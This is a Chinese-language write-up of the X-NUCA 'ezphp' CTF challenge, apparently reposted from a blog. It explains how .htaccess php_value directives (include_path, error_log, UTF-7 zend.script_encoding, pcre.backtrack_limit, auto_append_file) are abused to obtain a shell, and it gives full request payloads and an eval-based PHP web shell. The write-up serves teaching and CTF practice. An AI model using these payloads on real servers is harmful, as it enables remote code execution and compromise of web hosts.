a-php,X-NUCA-ezphp记录

鸽了很久，还是记录一下

比赛的时候搞了很长时间，终于和mlt师傅搞出来了，竟然只有我们一队是预期解==

}

}

}include_once("fl3g.php");if(!isset($_GET[‘content‘]) || !isset($_GET[‘filename‘])) {highlight_file(__FILE__);die();

}$content = $_GET[‘content‘];if(stristr($content,‘on‘) || stristr($content,‘html‘) || stristr($content,‘type‘) || stristr($content,‘flag‘) || stristr($content,‘upload‘) || stristr($content,‘file‘)) {echo "Hacker";die();

}$filename = $_GET[‘filename‘];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();

}$files = scandir(‘./‘);foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);

}

}

}file_put_contents($filename, $content . "\nJust one chance");?>

题目就给了一个php文件，整个逻辑也比较简单，首先删除当前目录下非index.php的文件，然后include(‘fl3g.php’)，之后获取filename和content并写入文件中。其中对filename和content都有过滤。

那么从可控参数filename和content来看，

filename若匹配到除了a-z和单引号.以外的其它字符，则触发waf，

而content中也过滤了一些关键字，当然刚拿题的确不知道为啥要过滤这些。因为看到file_put_content和unlink自然想到了条件竞争写shell，但是测试过程虽然能够写进.php文件但是不解析，并且由于题目服务器中间件为apache，因此想到了传.htaceess来解析php，通常我们用

.htaccess来解析非php后缀文件时用到

AddType application/x-httpd-php .ppp

或者

SetHandler application/x-httpd-php

但是此时content中过滤了on，type，并且过滤了file，那么

auto_append_file和

auto_prepend_file肯定也无法使用，搜索中.htaccess+getshell大多数也是结合这两种方法，结合题目逻辑：

1.删除除了index.php的所有文件，但是.htaccess如果上传肯定unlink没法删除

2.fl3g.php被删除，但是又有include,肯定要利用到包含来getshell

有了以上两点在php.ini中找了找，发现了有趣的几项配置：

顾名思义，include_path用来设置include()或require()函数包含文件的参考路径，也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错，那么我们就可以通过修改它来控制include的路径，那么如果我们能够在其它目录写入同名的fl3g.php让其包含，那么就能够getshell，并且达到fl3g.php文件不被删除。

然而经过一番搜索，并未找到可修改filename中文件路径分隔符的配置项，因此路径分割符/无法使用，即无法file_put_contents任意目录写文件。

了一下，发现该函数可以把错误日志保存到指定的目录中，那么可以通过php_value来设置其为/tmp/fl3g.php，那么当报错时将会把错误信息保存到该fl3g.php中，当然要配合设置log_errors为1开启错误记录，报错的话可以通过include_path来报错，那么此时思路应该比较清晰了：

1.写.htaccess，访问index.php，通过报错将shell写入到/tmp/fl3g.php

2.写.htaccess，包含fl3g.php来getshell

那么此时又遇到一个trick，写入的.htaccess将会和\n及字符串拼接在一起

那么通常.htaccess中出现无意义字符再访问当前目录文件服务器将500，那么.htaccess又不支持多行注释，并且单行注释#必须在每行的开头，那么此时可以通过\反斜杠和#来用单行注释kill掉just one chance字符串。本地先测试一波：

payload：

index.php?filename=.htaccess&content=php_value include_path "=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log /tmp/fl3g.php%0d%0a%23 \

此时将写入.htaccess

再次访问index.php

此时将include_path中的payload写入到了fl3g.php中，但是从观察来看<>被html实体编码转义了，html_errors里面html也被过滤了。说明此时shell无法利用，上周suctf也考到了.htaccess中编码来绕过<?的过滤 ，但是此时只转义了<，因此UTF-16,UTF-32均无法bypass，此时结合Insomnihack 2019 -l33t-hoster题解中使用UTF-7编码来绕过<的过滤，结合php.ini的设置项

并且利用wp中已经给的poc：

+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+Ads

再在走一遍之前的流程，首先写入payload，发现并未转义

第二次写.htaccess更新inlcude_path为/tmp目录，并开启utf-7编码检测

此时需要写入以上三个值，写入情况如下图

此时再访问index.php来getshell即可，这里要注意本地要设置一下除了index.php不解析其它以php为后缀的文件，否则这里本地测试包含fl3g.php时无法getshell，本地跑完以后就可以远程打了

这道题用到了以下几个trick:

1.error_log结合log_errors自定义错误日志

2.include_path带入payload

3.include_path更改包含路径

4.php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号

5.# \ 绕过just one chance

用到的几个trick都是php.ini自带的配置，getshell的过程也更具有普适性

看了赛后的wp，还有两个非预期解：

1.正则匹配时：

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)，因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1，默认的回朔次数比较大，可以设成0，那么当超过此次数以后将返回false

php_value pcre.backtrack_limit 0php_value auto_append_file".htaccess"php_value pcre.jit 0

#aa<?php eval($_GET[‘a‘]);?>\

令filename为：

filename=php://filter/write=convert.base64-decode/resource=.htaccess

这样content就能绕过stristr，一般这种基于字符的过滤都可以用编码进行绕过，这样就能getshell了，这里还学到了p牛的一篇文章：

2.非预期2

因为后面content会拼接无意义字符串， 因此采用.htaccess的单行注释绕过 # \，这里反斜杠本来就有拼接上下两行的功能，因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess，

比如

php_value auto_prepend_file".htaccess"

当时实在是没想到这种。。。不知道为啥没想到

原文：https://www.cnblogs.com/wfzWebSecuity/p/11439994.html